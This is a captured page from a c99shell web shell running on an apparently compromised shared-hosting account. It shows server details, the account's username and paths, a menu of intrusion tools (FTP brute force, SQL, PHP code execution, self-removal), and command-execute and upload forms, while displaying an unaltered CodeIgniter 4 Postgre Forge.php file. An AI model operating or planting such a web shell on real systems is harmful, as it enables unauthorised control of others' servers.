smsonayla.org - c99shell

!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: LiteSpeed. PHP/7.4.33 

uname -a: Linux server704.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13
UTC 2025 x86_64
 

uid=1309(necipbey) gid=1314(necipbey) groups=1314(necipbey) 

Safe-mode: OFF (not secure)

/home/necipbey/public_html/system/Database/Postgre/   drwxr-xr-x
Free 3432.42 GB of 4265.01 GB (80.48%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Forge.php (5.25 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * This file is part of CodeIgniter 4 framework.
 *
 * (c) CodeIgniter Foundation <admin@codeigniter.com>
 *
 * For the full copyright and license information, please view
 * the LICENSE file that was distributed with this source code.
 */

namespace CodeIgniter\Database\Postgre;

use 
CodeIgniter\Database\Forge as BaseForge;

/**
 * Forge for Postgre
 */
class Forge extends BaseForge
{
    
/**
     * CHECK DATABASE EXIST statement
     *
     * @var string
     */
    
protected $checkDatabaseExistStr 'SELECT 1 FROM pg_database WHERE datname = ?';

    
/**
     * DROP CONSTRAINT statement
     *
     * @var string
     */
    
protected $dropConstraintStr 'ALTER TABLE %s DROP CONSTRAINT %s';

    
/**
     * DROP INDEX statement
     *
     * @var string
     */
    
protected $dropIndexStr 'DROP INDEX %s';

    
/**
     * UNSIGNED support
     *
     * @var array
     */
    
protected $_unsigned = [
        
'INT2'     => 'INTEGER',
        
'SMALLINT' => 'INTEGER',
        
'INT'      => 'BIGINT',
        
'INT4'     => 'BIGINT',
        
'INTEGER'  => 'BIGINT',
        
'INT8'     => 'NUMERIC',
        
'BIGINT'   => 'NUMERIC',
        
'REAL'     => 'DOUBLE PRECISION',
        
'FLOAT'    => 'DOUBLE PRECISION',
    ];

    
/**
     * NULL value representation in CREATE/ALTER TABLE statements
     *
     * @var string
     *
     * @internal
     */
    
protected $null 'NULL';

    
/**
     * CREATE TABLE attributes
     *
     * @param array $attributes Associative array of table attributes
     */
    
protected function _createTableAttributes(array $attributes): string
    
{
        return 
'';
    }

    
/**
     * @param mixed $field
     *
     * @return array|bool|string
     */
    
protected function _alterTable(string $alterTypestring $table$field)
    {
        if (
in_array($alterType, ['DROP''ADD'], true)) {
            return 
parent::_alterTable($alterType$table$field);
        }

        
$sql  'ALTER TABLE ' $this->db->escapeIdentifiers($table);
        
$sqls = [];

        foreach (
$field as $data) {
            if (
$data['_literal'] !== false) {
                return 
false;
            }

            if (
version_compare($this->db->getVersion(), '8''>=') && isset($data['type'])) {
                
$sqls[] = $sql ' ALTER COLUMN ' $this->db->escapeIdentifiers($data['name'])
                    . 
" TYPE {$data['type']}{$data['length']}";
            }

            if (! empty(
$data['default'])) {
                
$sqls[] = $sql ' ALTER COLUMN ' $this->db->escapeIdentifiers($data['name'])
                    . 
" SET DEFAULT {$data['default']}";
            }

            if (isset(
$data['null'])) {
                
$sqls[] = $sql ' ALTER COLUMN ' $this->db->escapeIdentifiers($data['name'])
                    . (
$data['null'] === true ' DROP' ' SET') . ' NOT NULL';
            }

            if (! empty(
$data['new_name'])) {
                
$sqls[] = $sql ' RENAME COLUMN ' $this->db->escapeIdentifiers($data['name'])
                    . 
' TO ' $this->db->escapeIdentifiers($data['new_name']);
            }

            if (! empty(
$data['comment'])) {
                
$sqls[] = 'COMMENT ON COLUMN' $this->db->escapeIdentifiers($table)
                    . 
'.' $this->db->escapeIdentifiers($data['name'])
                    . 
" IS {$data['comment']}";
            }
        }

        return 
$sqls;
    }

    
/**
     * Process column
     */
    
protected function _processColumn(array $field): string
    
{
        return 
$this->db->escapeIdentifiers($field['name'])
            . 
' ' $field['type'] . $field['length']
            . 
$field['default']
            . 
$field['null']
            . 
$field['auto_increment']
            . 
$field['unique'];
    }

    
/**
     * Performs a data type mapping between different databases.
     */
    
protected function _attributeType(array &$attributes)
    {
        
// Reset field lengths for data types that don't support it
        
if (isset($attributes['CONSTRAINT']) && stripos($attributes['TYPE'], 'int') !== false) {
            
$attributes['CONSTRAINT'] = null;
        }

        switch (
strtoupper($attributes['TYPE'])) {
            case 
'TINYINT':
                
$attributes['TYPE']     = 'SMALLINT';
                
$attributes['UNSIGNED'] = false;
                break;

            case 
'MEDIUMINT':
                
$attributes['TYPE']     = 'INTEGER';
                
$attributes['UNSIGNED'] = false;
                break;

            case 
'DATETIME':
                
$attributes['TYPE'] = 'TIMESTAMP';
                break;

            default:
                break;
        }
    }

    
/**
     * Field attribute AUTO_INCREMENT
     */
    
protected function _attributeAutoIncrement(array &$attributes, array &$field)
    {
        if (! empty(
$attributes['AUTO_INCREMENT']) && $attributes['AUTO_INCREMENT'] === true) {
            
$field['type'] = $field['type'] === 'NUMERIC' || $field['type'] === 'BIGINT' 'BIGSERIAL' 'SERIAL';
        }
    }

    
/**
     * Generates a platform-specific DROP TABLE string
     */
    
protected function _dropTable(string $tablebool $ifExistsbool $cascade): string
    
{
        
$sql parent::_dropTable($table$ifExists$cascade);

        if (
$cascade === true) {
            
$sql .= ' CASCADE';
        }

        return 
$sql;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0056 ]--